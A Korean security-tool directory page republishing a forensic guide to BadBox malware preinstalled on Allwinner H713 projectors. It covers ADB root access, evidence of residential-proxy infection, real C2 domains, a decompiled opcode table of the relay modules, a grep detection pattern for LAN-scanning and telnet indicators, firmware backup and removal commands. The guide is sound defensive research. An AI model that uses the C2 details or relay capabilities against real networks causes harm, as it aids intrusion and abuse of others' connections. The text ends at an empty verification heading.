Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
badbox-h713-projector — Allwinner H713 Android 프로젝터의 BadBox 악성코드 분석 및 제거 가이드: ADB 접근, 감염 증거, 펌웨어 백업, 드로퍼 제거, 검증. | Kitploit
도구/GitHubGitHub/florentineprinzessinzusachsen/badbox-h713-projector
Android SecurityEmbedded Systems SecurityIoT SecurityReverse EngineeringInformation GatheringMalware AnalysisDigital ForensicsMobile SecurityHardware & IoT Security

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Incident Response
Firmware Analysis
GitHubflorentineprinzessinzusachsen/badbox-h713-projector

badbox-h713-projector

Allwinner H713 Android 프로젝터의 BadBox 악성코드 분석 및 제거 가이드: ADB 접근, 감염 증거, 펌웨어 백업, 드로퍼 제거, 검증.

저장소 보기
1191일 전아직 검토되지 않음

Wielo / Atongmu 멀웨어 프로젝터: BadBox 분석 및 정리 (AT-M269 / H713)

2026년 9월 26일 · @R

저렴한 안드로이드 프로젝터(Wielo / Atongmu AT-M269, Allwinner H713)에 시스템 수준의 드로퍼가 탑재되어 주거용 프록시 노드로 변모합니다. 이 문서는 케이스를 열지 않고 침투하고, 감염을 입증하고, 펌웨어를 백업하고, 멀웨어를 제거하고, 결과를 검증하는 방법을 보여줍니다.

1. 기기

브랜드가 계속 바뀌며 판매되는 무명 LCD 프로젝터입니다. 보드와 펌웨어는 많은 H713 프로젝터(HY300 클론 및 기타)에서 공유되므로, 여기 있는 모든 내용은 더 광범위하게 적용됩니다.

속성값
판매명Wielo 스마트 프로젝터, 모델 AT-M269 (FCC ID 2BAAR-AT-M269D)
제조사Shenzhen Atongmu Technology; OEM "ASHD"의 펌웨어 및 앱
하드웨어 리비전persist.sys.cm.hardversion = AT-M269_720P_HP_202410221430
SoCAllwinner H713M (ro.boot.hardware = sun50iw12p1), 쿼드 Cortex-A53; 보드 exdroid, 플랫폼 ares
RAM / 저장공간1 GB DDR @ 576 MHz / 8 GB eMMC (7,818,182,656 바이트)
Wi-Fi / 블루투스AIC8800 (aic8800d80, 드라이버 rwnx 6.4.3.0)
커널Linux 5.4.99, 32비트 (armv7l), 2025년 12월 8일 빌드
실제 빌드h713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, 펌웨어 H713M-android11-v1.0, 빌드 호스트 ishang-PC
OSAndroid 11 (SDK 30), user 빌드, 보안 패치 2022-02-05
위장Google ADT-3(브랜드/모델/기기, 제조사 askey)로 보고; 실제 모델은 ro.product.model2 = AT-M269
파티션 / 부팅가상 A/B, 활성 슬롯 _b, super 내 동적 파티션(retrofit); AVB 2.0, vbmeta.device_state = locked, verifiedbootstate 비어 있음; OEM 언락 불가; /system 100% 꽉 참
보안ro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB tcp/5868, SELinux permissive, privapp 권한 permissive, AOSP 테스트 키
지역 기본값시간대 Asia/Shanghai, DTV 지역 cn / DTMB

Read the identity yourself

adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build

root@kitploit:~
## 2. 접속

ADB가 네트워크의 비표준 포트에서 수신 대기 중이며, 인증 프롬프트 없이 루트 권한으로 동작합니다.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
#   5868/tcp open   <- nmap guesses "diameters"; it is actually adbd

# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port   # 5868
getprop ro.adb.secure          # 0    -> no "allow debugging?" prompt
getprop init.svc.adbd          # running

# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id                   # uid=0(root)

ADB로 작업하는 동안 램프 끄기```

adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected

when done

adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock

root@kitploit:~
`/sys/class/backlight/tv` > `brightness`/`bl_power`는 아무런 효과가 없습니다.

## 3. 감염 체인

시스템 사용자(UID 1000)로 실행되는 두 개의 사전 설치된 시스템 앱이 있습니다. 하나는 로더를 다운로드하고, 로더는 네 개의 프록시 모듈과 두 번째의 독립적인 로더를 다운로드합니다.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp          /system/priv-app/AshdSysApp
│    OTA updater, can replace the whole firmware (update.zip / payload.bin)
│    C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
     Dropper; Umeng + Baidu tracking
     └─ downloads cache/plugin.jar       (DEX, from *.ishanghd.com)
          ├─ app installer: pulls app lists per device profile, pm install -r
          │    └─ installs Disney+ etc. and com.google.adtest (payload)
          └─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
               └─ 4 encrypted modules  code_cache/.hs/.file/.rf/*.rf
                    SKN0041 com.ad.proxy   SKN0054 com.szns.sdk
                    SKN0058 com.link.core  SKN0061 ddth2 (VpsSdk)
                    -> all four: residential proxy clients

com.google.adtest (/data/app, installed by yiyou)
     Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
     Native plugin loader, may install/delete packages -> backup channel

> 낯선 사람의 인터넷 트래픽이 당신의 연결을 통해 라우팅되고, 당신의 기기는 추적됩니다 (시리얼, MAC 주소, Wi-Fi SSID/BSSID).

4. 공장 수준 감염의 증거

a) 프록시 유사 트래픽: 하나의 프로세스, 다수의 외부 연결```bash

adb shell "netstat -tnp | grep ESTABLISHED"

tcp6 ... ::ffff:43.116.39.73:188 ESTABLISHED 4795/com.android.umanalytics.yiyou

tcp6 ... ::ffff:198.44.189.x:9200 ESTABLISHED 4795/com.android.umanalytics.yiyou

... ~25 lines, same process, many IPs, odd ports

-> an "analytics" app does not hold 25 parallel sessions: this is a proxy node

root@kitploit:~
### **b) 누가 무엇을 설치했는가**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest       installer=com.android.umanalytics.yiyou  <- payload
# package:com.disney.disneyplus   installer=com.android.umanalytics.yiyou  <- cover
#  -> a system "analytics" app installing packages = dropper

adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
#  fake Google name, lives in /data/app, installed silently

c) 드로퍼의 데이터 폴더에 있는 페이로드 파일```bash

adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'

cache/plugin.jar <- downloaded loader (DEX)

code_cache/.hs/.file/.rf/-1.dex_assdk_huang_SKN00xx.rf <- 4 encrypted modules

files/apps/com.google.adtest.apk <- stored payload for reinstall

directories are chmod 777

root@kitploit:~
### **d) 시스템 수준 설정**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system  -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon  user root

e) 악성코드가 공장 빌드 당일에 실행됨

악성코드는 펌웨어에 바로 내장되어 있다. 빌드 날짜는 eng.work3.20251208.154308이고, 커널은 Mon Dec 8 15:27:38 CST 2025에 컴파일되었다. yiyou의 기록에 따르면 같은 날 실행되고 있었다:```

baidu_mtj_sdk_record.xml (yiyou data)

session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]

first recorded run = 8 Dec 2025, the day the firmware was built

ua.db (yiyou's Umeng session table), timestamps column __f

1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build

root@kitploit:~
### **f) 벤더 서명이 적용된 읽기 전용 시스템 이미지 내의 악성코드**

사용자나 나중에 설치된 앱은 `/system`에 파일을 넣을 수 없습니다. 이는 `super`의 일부이며, dm-verity로 보호되고 `vbmeta`를 통해 서명됩니다.

## 5. 악성코드 아키텍처 개요

### 5.1. 주요 구성 요소

| 구성 요소                         | 위치                     | 수행하는 작업                                                                                                    |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`   | `/system/app`, UID 1000      | `plugin.jar`를 다운로드하고 실행하며, 시리얼, MAC, android_id, Wi-Fi SSID/BSSID, 블루투스 MAC을 Umeng/Baidu로 전송 |
| `plugin.jar` (DEX)                | yiyou `cache/`               | 두 부분: 앱 설치 프로그램(H713/RK3326/HY300용 기기별 앱 목록, 40개 이상의 프로필)과 "hs" 작업 로더    |
| "hs" 작업 로더                    | `plugin.jar` 내부          | 6시간마다 C2를 폴링하여 `jar`, `dex` 또는 `apk` 유형의 작업을 요청하고, 다운로드 후 MD5를 확인하고 실행                     |
| SKN0041 `com.ad.proxy`            | `.rf` 모듈                | TCP/UDP/ICMP 터널링, 하트비트, 로그인/보고                                                              |
| SKN0054 `com.szns.sdk`            | `.rf` 모듈                | 프록시 노드 및 사용자 네트워크에서의 UDP 스캐닝                                                                  |
| SKN0058 `com.link.core`           | `.rf` 모듈                | 자체 DNS 리졸버를 갖춘 프록시 클라이언트                                                                         |
| SKN0061 `ddth2` / VpsSdk          | `.rf` 모듈                | 프록시 게이트웨이, 다수의 병렬 클라이언트 인스턴스                                                                   |
| `com.google.adtest` ("com.speed") | `/data/app`                  | 네이티브 플러그인 로더를 갖춘 두 번째 로더, 패키지 설치/삭제, 부팅, 네트워크, HDMI, 전원 이벤트 시 재시작 |
| `com.android.sysapp`              | `/system/priv-app`, UID 1000 | OTA 업데이터: 전체 펌웨어 이미지를 다운로드하고 플래시할 수 있음                                                       |
| Widevine 파일                    | `/data/mediadrm/IDM1013/L3/` | `plugin.jar`가 DRM 키/라이선스 번들을 드롭하여 스트리밍 앱이 인증되지 않은 기기에서 실행되도록 함                     |

### 5.2. 구성 요소가 숨겨지는 방식```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
#   decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
#   -> router DNS blocking alone misses it
# .rf module layout (per file):
#   [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
#   invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
#   module     = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.

5.3. 추적이 전송하는 것```

shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061

root@kitploit:~
### 5.4. 측면 이동

**자동 측면 이동은 없지만, LAN으로 들어가는 문은 있다**

> 그러나 **SKN0041**과 **SKN0058**은 게이트웨이가 지정한 모든 대상으로 릴레이하며, SKN0041은 명령에 따라 해당 대상에 핑을 보낼 수도 있다. 프록시를 임대한 사람은 누구든 수동으로 LAN에 접근하거나 탐색할 수 있다.

- `plugin.jar`
- 복호화된 `.rf` 모듈 SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- 네이티브: `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
root@kitploit:~
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")

// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through

// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()

// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);

// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));

root@kitploit:~
SKN0041의 전체 명령 집합, `com/ad/proxy/b/a0.java` 디스패치 테이블 기준:

| Opcode | 핸들러    | 수행 동작                                                                          |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2  | U / V      | 하트비트 요청 / 응답                                                               |
| 3      | W          | 운영자가 제공한 host:port로 원시 TCP 연결을 엽니다, 주소 검사 없음                 |
| 5 / 7  | X / Y      | 열린 트랜잭션에 대한 tcp 전송 / 종료                                               |
| 8      | Z          | 운영자가 제공한 host:port로 원시 UDP 세션을 엽니다, 주소 검사 없음                 |
| 11     | K          | udp 종료                                                                           |
| 12     | L → P.java | 운영자가 제공한 호스트에서 `ping -c 10 <host>`를 실행하고 전체 출력을 그대로 중계  |
| 14     | M → Q.java | 운영자가 제공한 URL을 가져옵니다, 검사 없음                                        |

이들 opcode 중 IP 범위로 필터링하는 것은 없습니다.

`plugin.jar` 비디오 재스트리밍 서버(`com.cloudmedia.tv.server.d`, Aiqiyi/Youku/CIBN 스트림 재작성을 제공하는 NanoHTTPD 포크)는 호스트가 설정되지 않은 상태로 바인딩됩니다. 즉, 시작된다면 localhost뿐만 아니라 모든 인터페이스, LAN에서 접근 가능합니다. 유일한 진입점은 `ParserUtils.AnalyticsHelper()`이며, `getprop ro.board.platform == "rk3188"` 뒤에 있습니다. 이 기기는 `ares` (H713)를 보고하므로 게이트는 닫힌 상태로 유지됩니다.

실시간 기기 상태: `netstat -tnp`는 루프백 화면 캐스트(`127.0.0.1:5354`의 `com.android.toofifi`), IPv6를 통한 Google로의 GMS, 그리고 ADB 세션만을 보여줍니다. `yiyou`, `sysapp`, `speed`, `umanalytics` 또는 `adtest` 프로세스는 실행 중이 아닙니다.

`systemmixservice`의 Binder 인터페이스(기기상의 모든 앱이 접근 가능한, root로서의 임의 파일 읽기/쓰기/삭제 및 속성 설정)는 로컬 권한 상승입니다. 드로퍼를 제거하고 신뢰할 수 없는 APK를 설치하지 않으면 이는 차단됩니다.

## 6. 지표

네트워크 지표(도메인, URL, IP)는 [섹션 11](#11-consolidated-hosturl-list-for-abuse-reports)에 있습니다.

### 6.1. 패키지

| 패키지                                                         | 위치                                                | 역할                                                             |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`                                 | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | 드로퍼                                                          |
| `com.android.sysapp` (AshdSysApp)                               | `/system/priv-app/AshdSysApp`, UID 1000 (system)        | OTA 채널 백도어                                                  |
| `com.google.adtest` (실제 이름 `com.fotas.wanapp`, "com.speed") | `/data/app`                                             | 두 번째 로더                                                    |
| `com.cloudmedia.testapk`                                        | `/system/app`                                           | OEM 공장 테스트 앱, 섹션 8에서 드로퍼와 함께 제거됨              |
| `com.disney.disneyplus`                                         | `/data/app`                                             | 드로퍼가 설치한 커버 앱                                          |
| `com.android.nfx`                                               | `/system/priv-app/NFXAccessibility`                     | 유지됨, 무해함 (Netflix 원격 제어 도우미)                        |

### 6.2. 바이너리

| 바이너리                                                                             | Init 서비스                                                                          | 수행 동작                                                                                                                                                                                                                                                                                  |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw`                                                                   | **`qw`**: `class core`, `user root`, 부팅 시부터 영구 실행                       | Superuser/ClockworkMod su 데몬 (`/dev/com.koushikdutta.superuser` + `.daemon` 소켓을 엽니다).                                                                                                                                                                                               |
| `/system/bin/appsdisable`                                                          | **`appsdisable`**: `on property:sys.boot_completed=1`로 트리거됨, `disabled`+`oneshot` | 부팅 시 4초 대기 후 (`settings ... global start_disable`), 컴포넌트가 `com.google.android`로 시작하는 `BOOT_COMPLETED` 리시버를 가진 모든 설치된 패키지를 찾아 `pm disable`하여 Play Protect 스캔 및 GMS 코어 서비스와 같은 Google 자체의 부팅 시 검사를 차단합니다. |
| `/system/bin/gmsopt`                                                               | **`gmsopt`**: appsdisable과 동일한 트리거 및 플래그                                   | appsdisable과 동일한 Google 부팅 리시버 비활성화 동작이지만 `com.google.android.permissioncontroller`는 제외합니다. 중복됩니다.                                                                                                                                                                |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot`                                 | OEM 네이티브? 목적은 완전히 확인되지 않았지만 root 그룹입니다.                                                                                                                                                                                                                                   |

### 6.3. 파일 및 디렉터리

| 경로                                                                                                                                                                          | 내용                                                     |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar`                                                                                                                   | 다운로드된 "hs" 로더 / 앱 설치기 DEX               |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf`                                                                                                      | 암호화된 프록시 모듈 (SKN0041/54/58/61)               |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk`                                                                                                   | 무음 재설치를 위해 저장된 페이로드 사본                 |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so`                                                                                                                   | 기기 ID 도우미 네이티브 라이브러리                          |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db`                                                                                                                    | Umeng 세션 DB                                         |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | 추적/설정 환경설정                                    |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml`                                                                                                                        | OTA 다운로드 상태 환경설정                                 |
| `/data/mediadrm/IDM1013/L3/`                                                                                                                                                  | 드롭된 Widevine L3 DRM 번들                           |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*`                                                                                                                                | 로더와 OTA 클라이언트가 사용하는 스크래치/잔여 공간 |

### 6.4. 샘플 해시

| 샘플                          | SHA-256                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar`                    | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (복호화됨)             | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (복호화됨)             | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (복호화됨)             | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (복호화됨)             | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk`         | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk`    | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk`                | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (Widevine 번들)      | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (SKN0054 설정) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |

## 7. 백업

이 모델의 펌웨어는 공개된 것으로 보이지 않으며, 리버스 엔지니어링된 벤더 OTA 서버도 아무것도 반환하지 않습니다.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*'      # eMMC boot areas, dump them too if present

Wi-Fi를 통한 경우, 헬퍼 스크립트를 사용하십시오

  1. dump-pull.sh [ip:port|usb] [file]은 크기 확인 및 재시도를 포함하여 256 MB 청크 단위로 가져옵니다. 다시 실행하면 마지막으로 완료된 청크부터 이어서 진행됩니다. 읽기 전에 /data를 background_gc=off,nodiscard로 다시 마운트하고, sync한 후 10초 동안 대기합니다. USB를 통한 경우 adb shell stop도 실행합니다. 두 작업 모두 종료 시 원래대로 복원됩니다(background_gc=on,discard로 다시 마운트, start). UDISK는 /data이며 계속 활성 상태이므로, 실행할 때마다 해시가 달라질 수 있습니다.
  2. dump-verify.sh [ip:port|usb] [file] [-y]는 크기, GPT 헤더, 부트 영역 및 모든 파티션(장치 SHA-256 대 이미지 내 동일 바이트 범위)을 확인합니다. 불일치하는 섹션을 읽고 패치합니다. 정상 통과 시 mmcblk0.img.sha256을 기록합니다.```

What the partition check does, per partition

p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image

userdata, metadata, misc change while Android runs: a mismatch there is expected

root@kitploit:~
### 복원 경로

Allwinner FEL에 진입한 다음, USB-A to USB-A 케이블로 PhoenixUSBPro를 통해 플래싱합니다.

FEL로 부팅하기 위한 외부 핀홀은 없습니다: `adb reboot efex` 또는 `fastboot oem efex`.

가능한 하드웨어 폴백: 보드의 FEL 패드로, FCC 내부 사진에서 확인할 수 있습니다(케이스를 열어야 함). 플래싱에는 IMAGEWTY `update.img`가 필요하며, 이는 `awimg.py`([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root))와 H713 템플릿을 사용해 덤프에서 빌드합니다.

FEL은 쓰기 전용입니다. PhoenixSuit와 PhoenixUSBPro는 eMMC를 다시 읽을 수 없으며, `sunxi-fel`에는 H713용 SRAM 레이아웃이 없어 읽기 전용 명령만 작동합니다([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).

위의 ADB 덤프가 백업 방법으로 남습니다.

### **부팅 모드**

이 장치는 A/B(`ro.build.ab_update=true`)이며 슬롯 `_b`가 활성 상태입니다. `recovery` 파티션은 없습니다: recovery는 boot ramdisk에 있습니다. U-Boot 시리얼 콘솔은 115200 baud의 `ttyS0`입니다.

| 모드            | 진입 방법                                                                                                 | 레벨                 | 상태                                                                                      |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android         | 정상 전원 켜기, `adb reboot`                                                                                | kernel                | 작동                                                                                       |
| Recovery        | `adb reboot recovery`                                                                                        | boot ramdisk          | 작동, 아래 메뉴                                                                           |
| fastbootd       | recovery 메뉴: Enter fastboot                                                                                | recovery 내 userspace | 진입                                                                                      |
| U-Boot fastboot | recovery 메뉴: Reboot to bootloader, 또는 `adb reboot bootloader`                                              | U-Boot                | 작동 (macOS는 아래 수정 필요)                                                           |
| U-Boot efex     | U-Boot fastboot에서 `fastboot oem efex`, 또는 `adb reboot efex` (U-Boot에는 `ir-efex` 원격 트리거도 있음) | U-Boot                | `fastboot oem efex` 및 `adb reboot efex`를 통해 작동: `1f3a:efe8`, FEL 핸드셰이크 응답 |
| BootROM FEL     | FEL 테스트 패드                                                                                             | SoC BootROM           | 미테스트                                                                                    |

### **Recovery 메뉴:**

- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off

### **USB를 통한 ADB**

USB0(`ohci0`)를 담당하는 소켓은 기본적으로 host로 실행됩니다. 다음 재부팅까지 device 모드로 전환하려면:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id

U-Boot fastboot가 감지되지 않음

gadget이 1f3a:1010("USB Developer")으로 나타나고, 인터페이스는 표준 fastboot ff/42/03입니다. 하지만 장치 클래스가 ff이기 때문에, OS(여기서는 macOS)가 구성을 설정하지 않는 것으로 보이며 fastboot devices가 비어 있는 상태로 유지됩니다.

이런 경우 해결 방법은 pyusb로 구성을 한 번 설정한 다음, 평소처럼 fastboot를 사용하는 것입니다:```

one-time setup

brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb

each time the projector is in U-Boot fastboot

source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices

root@kitploit:~
### **FEL/efex**

U-Boot fastboot에서 `fastboot oem efex`는 efex 가젯 `1f3a:efe8`로 전환합니다. (동일한 `set_configuration()` 수정이 필요할 수 있음)

**소스에서 Sunxi-tools 빌드**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/   # optional, else call ./sunxi-fel

# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version

AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
version과 --list만 사용하고, spl, uboot, write, exe는 절대 사용하지 마십시오. sunxi 도구가 해당 칩셋을 인식하지 못하기 때문입니다.

FEL을 종료하려면 먼저 USB를 뽑고, 프로젝터의 파란 LED가 꺼질 때까지 전원을 끄십시오. SoC 데이터 없이는 wdreset이 작동하지 않습니다.

8. 정리

8.1. 증거 백업```

mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt

APKs of the suspicious apps

adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk

Complete app data incl. hidden folders (plugin.jar, .rf modules, prefs)

adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS

root@kitploit:~
### 8.2. 제거```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
  adb shell am force-stop $p
  adb shell pm disable-user --user 0 $p
  adb shell pm clear $p
done

adb shell pm uninstall com.google.adtest

# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus

# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'

adb reboot

유지됨, 아마도 무해함:

  • qw (su 데몬, /system을 편집해야만 제거 가능, 로컬에서만 접근 가능)
  • 무해한 OEM 앱: appsdisable, gmsopt, systemmixservice
  • com.android.nfx (Netflix 원격 제어 도우미)

변조 방지 검사

yiyou를 제거하면 Settings가 망가진다. com.ashd.settings의 checkSHA1()에는 두 가지 검사가 있다:

  1. Settings 자체의 서명 인증서로, 다섯 개의 하드코딩된 SHA1 중 하나와 일치해야 한다 (CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)
  2. com.android.umanalytics.yiyou (또는 다른 펌웨어 빌드에서 드로퍼의 이름일 가능성이 높은 com.android.umanalytics.kege)가 사용자 0에 등록되어 있는지 확인한다.

두 실패 경로 모두 签名校验失败,关闭应用 ("서명 검증 실패, 앱 종료")를 기록한다. yiyou를 완전히 제거하면 (위에서처럼 단순히 비활성화하는 것이 아니라) 이 검사에 걸린다. adb shell pm install-existing com.android.umanalytics.yiyou는 다시 활성화하지 않고도 등록을 복원한다.

8.3. 확인```

